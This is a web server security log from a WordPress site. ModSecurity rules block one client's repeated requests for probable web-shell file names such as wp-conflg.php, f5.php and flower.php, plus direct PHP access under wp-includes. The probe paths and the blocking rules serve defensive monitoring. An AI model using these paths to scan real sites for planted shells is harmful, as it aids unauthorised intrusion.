[Tue Jan 27 02:59:41.191566 2026] [:error] [pid 44849:tid 44872] [client 40.115.140.37:11449] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/"] [unique_id "aXe5nRvM0vcShMgZVmQKDgAAAVU"]
[Tue Jan 27 02:59:41.771072 2026] [:error] [pid 23303:tid 23327] [client 40.115.140.37:12053] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/"] [unique_id "aXe5nZ9-XqTbIalaUZygPgAAAZY"]
[Tue Jan 27 02:59:42.170075 2026] [:error] [pid 44587:tid 44793] [client 40.115.140.37:2215] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aXe5nosXadca93KAT8QBNgAAAME"]
[Tue Jan 27 02:59:43.120253 2026] [:error] [pid 23303:tid 23325] [client 40.115.140.37:8897] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aXe5n59-XqTbIalaUZygQAAAAZQ"]
[Tue Jan 27 02:59:43.847111 2026] [:error] [pid 23303:tid 23329] [client 40.115.140.37:12314] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aXe5n59-XqTbIalaUZygQwAAAZg"]
[Tue Jan 27 02:59:45.017332 2026] [:error] [pid 18632:tid 18647] [client 40.115.140.37:6893] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aXe5oaU_e_bi-Bnkkm4cigAAAEw"]
[Tue Jan 27 02:59:45.432452 2026] [:error] [pid 23303:tid 23324] [client 40.115.140.37:11864] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aXe5oZ9-XqTbIalaUZygRQAAAZM"]
[Tue Jan 27 02:59:46.016493 2026] [:error] [pid 23303:tid 23314] [client 40.115.140.37:5166] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aXe5op9-XqTbIalaUZygSAAAAYk"]
[Tue Jan 27 02:59:46.641739 2026] [:error] [pid 57173:tid 57242] [client 40.115.140.37:12069] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aXe5ok4W-bz8q8pfNmgw3gAAAAo"]
[Tue Jan 27 02:59:47.168072 2026] [:error] [pid 44588:tid 44829] [client 40.115.140.37:2453] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aXe5ozHRQD80UhqYrcAougAAAQk"]
[Tue Jan 27 02:59:48.159865 2026] [:error] [pid 44586:tid 44775] [client 40.115.140.37:2488] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aXe5pKZDnq-dPBqM5Li5ZQAAAIs"]
[Tue Jan 27 02:59:48.921763 2026] [:error] [pid 44586:tid 44779] [client 40.115.140.37:2564] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aXe5pKZDnq-dPBqM5Li5ZwAAAI8"]
[Tue Jan 27 02:59:50.627052 2026] [:error] [pid 23303:tid 23318] [client 40.115.140.37:2179] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aXe5pp9-XqTbIalaUZygTgAAAY0"]
[Tue Jan 27 02:59:51.313200 2026] [:error] [pid 44588:tid 44832] [client 40.115.140.37:14007] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aXe5pzHRQD80UhqYrcAovQAAAQw"]
[Tue Jan 27 02:59:52.011676 2026] [:error] [pid 44588:tid 44825] [client 40.115.140.37:9890] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtride.php"] [unique_id "aXe5qDHRQD80UhqYrcAovwAAAQU"]
[Tue Jan 27 02:59:52.760791 2026] [:error] [pid 44586:tid 44772] [client 40.115.140.37:2606] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtride.php"] [unique_id "aXe5qKZDnq-dPBqM5Li5bAAAAIg"]
[Tue Jan 27 02:59:53.792989 2026] [:error] [pid 23303:tid 23310] [client 40.115.140.37:6951] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtride.php"] [unique_id "aXe5qZ9-XqTbIalaUZygWQAAAYU"]
[Tue Jan 27 02:59:55.016524 2026] [:error] [pid 44586:tid 44783] [client 40.115.140.37:14054] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtride.php"] [unique_id "aXe5q6ZDnq-dPBqM5Li5bwAAAJM"]
[Tue Jan 27 02:59:55.926418 2026] [:error] [pid 44587:tid 44809] [client 40.115.140.37:14060] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aXe5q4sXadca93KAT8QBQwAAANE"]
[Tue Jan 27 02:59:56.524255 2026] [:error] [pid 23303:tid 23318] [client 40.115.140.37:4825] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aXe5rJ9-XqTbIalaUZygXAAAAY0"]
[Tue Jan 27 02:59:57.320752 2026] [:error] [pid 57173:tid 57256] [client 40.115.140.37:4851] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aXe5rU4W-bz8q8pfNmgw7AAAABc"]
[Tue Jan 27 02:59:58.140901 2026] [:error] [pid 44587:tid 44806] [client 40.115.140.37:6318] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aXe5rosXadca93KAT8QBRgAAAM4"]
[Tue Jan 27 02:59:59.139338 2026] [:error] [pid 44588:tid 44834] [client 40.115.140.37:14042] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aXe5rzHRQD80UhqYrcAoxgAAAQ4"]
[Tue Jan 27 03:00:00.306913 2026] [:error] [pid 44588:tid 44829] [client 40.115.140.37:10033] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aXe5sDHRQD80UhqYrcAoxwAAAQk"]
[Tue Jan 27 03:00:01.216906 2026] [:error] [pid 44849:tid 44868] [client 40.115.140.37:6968] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aXe5sRvM0vcShMgZVmQKHAAAAVE"]
[Tue Jan 27 03:00:02.862664 2026] [:error] [pid 57173:tid 57250] [client 40.115.140.37:4835] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aXe5sk4W-bz8q8pfNmgw8gAAABE"]
[Tue Jan 27 03:00:03.490285 2026] [:error] [pid 23303:tid 23324] [client 40.115.140.37:14028] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aXe5s59-XqTbIalaUZygZwAAAZM"]
[Tue Jan 27 03:00:04.694442 2026] [:error] [pid 23303:tid 23314] [client 40.115.140.37:2127] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aXe5tJ9-XqTbIalaUZygbAAAAYk"]
[Tue Jan 27 03:00:05.538663 2026] [:error] [pid 18632:tid 18658] [client 40.115.140.37:11527] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aXe5taU_e_bi-Bnkkm4cngAAAFc"]
[Tue Jan 27 03:00:06.030627 2026] [:error] [pid 23303:tid 23327] [client 40.115.140.37:6970] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aXe5tp9-XqTbIalaUZygbgAAAZY"]
[Tue Jan 27 03:00:07.870468 2026] [:error] [pid 23303:tid 23325] [client 40.115.140.37:10213] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aXe5t59-XqTbIalaUZygbwAAAZQ"]
[Tue Jan 27 03:00:09.794985 2026] [:error] [pid 57173:tid 57238] [client 40.115.140.37:14097] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aXe5uU4W-bz8q8pfNmgw-QAAAAY"]
[Tue Jan 27 03:00:10.957802 2026] [:error] [pid 18632:tid 18653] [client 40.115.140.37:7394] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aXe5uqU_e_bi-Bnkkm4coQAAAFI"]
[Tue Jan 27 03:00:31.478130 2026] [autoindex:error] [pid 23303:tid 23312] [client 40.115.140.37:2758] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Jan 27 03:00:31.608281 2026] [autoindex:error] [pid 23303:tid 23309] [client 40.115.140.37:2758] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Jan 27 03:00:36.804529 2026] [:error] [pid 23303:tid 23321] [client 40.115.140.37:2758] [client 40.115.140.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aXe51J9-XqTbIalaUZygggAAAZA"]
[Tue Jan 27 03:00:51.976394 2026] [autoindex:error] [pid 18632:tid 18645] [client 40.115.140.37:5419] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Jan 27 03:01:06.983111 2026] [:error] [pid 18632:tid 18656] [client 40.115.140.37:7519] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aXe58qU_e_bi-Bnkkm4c9gAAAFU"]
[Tue Jan 27 03:01:09.505341 2026] [:error] [pid 57173:tid 57256] [client 40.115.140.37:6129] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aXe59U4W-bz8q8pfNmgxPQAAABc"]
[Tue Jan 27 03:01:10.325350 2026] [:error] [pid 44586:tid 44769] [client 40.115.140.37:9807] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aXe59qZDnq-dPBqM5Li5owAAAIU"]
[Tue Jan 27 03:01:11.056500 2026] [:error] [pid 18632:tid 18640] [client 40.115.140.37:10236] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aXe596U_e_bi-Bnkkm4c_AAAAEU"]
[Tue Jan 27 03:01:11.531995 2026] [:error] [pid 23303:tid 23314] [client 40.115.140.37:6527] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aXe5959-XqTbIalaUZygqgAAAYk"]
[Tue Jan 27 03:01:12.831881 2026] [:error] [pid 57173:tid 57237] [client 40.115.140.37:9810] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aXe5-E4W-bz8q8pfNmgxQQAAAAU"]
[Tue Jan 27 03:01:13.656730 2026] [:error] [pid 44588:tid 44829] [client 40.115.140.37:10195] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aXe5-THRQD80UhqYrcAo6gAAAQk"]
[Tue Jan 27 03:01:14.326674 2026] [:error] [pid 23303:tid 23329] [client 40.115.140.37:7536] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aXe5-p9-XqTbIalaUZygrQAAAZg"]
[Tue Jan 27 03:01:15.213753 2026] [:error] [pid 44588:tid 44844] [client 40.115.140.37:10237] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aXe5-zHRQD80UhqYrcAo7gAAARg"]
[Tue Jan 27 03:01:16.051985 2026] [:error] [pid 44588:tid 44823] [client 40.115.140.37:9139] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aXe5_DHRQD80UhqYrcAo8gAAAQM"]
[Tue Jan 27 03:01:17.219242 2026] [:error] [pid 44587:tid 44793] [client 40.115.140.37:7442] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aXe5_YsXadca93KAT8QBeQAAAME"]
[Tue Jan 27 03:01:20.392110 2026] [:error] [pid 44849:tid 44853] [client 40.115.140.37:7489] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aXe6ABvM0vcShMgZVmQKQAAAAUI"]
[Tue Jan 27 03:01:21.237881 2026] [:error] [pid 44588:tid 44829] [client 40.115.140.37:7497] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "aXe6ATHRQD80UhqYrcAo9wAAAQk"]
[Tue Jan 27 03:01:21.606993 2026] [:error] [pid 44849:tid 44860] [client 40.115.140.37:6111] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "aXe6ARvM0vcShMgZVmQKQgAAAUk"]
[Tue Jan 27 03:01:22.298594 2026] [:error] [pid 18632:tid 18646] [client 40.115.140.37:7440] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "aXe6AqU_e_bi-Bnkkm4dBgAAAEs"]
[Tue Jan 27 03:01:23.017102 2026] [:error] [pid 57173:tid 57245] [client 40.115.140.37:9822] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "aXe6A04W-bz8q8pfNmgxSAAAAA0"]
[Tue Jan 27 03:01:23.593385 2026] [:error] [pid 44586:tid 44772] [client 40.115.140.37:3748] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aXe6A6ZDnq-dPBqM5Li5sAAAAIg"]
[Tue Jan 27 03:01:25.175401 2026] [:error] [pid 44588:tid 44836] [client 40.115.140.37:8408] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aXe6BTHRQD80UhqYrcAo-wAAARA"]
[Tue Jan 27 03:01:25.814634 2026] [:error] [pid 44588:tid 44841] [client 40.115.140.37:7543] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aXe6BTHRQD80UhqYrcAo_QAAARU"]
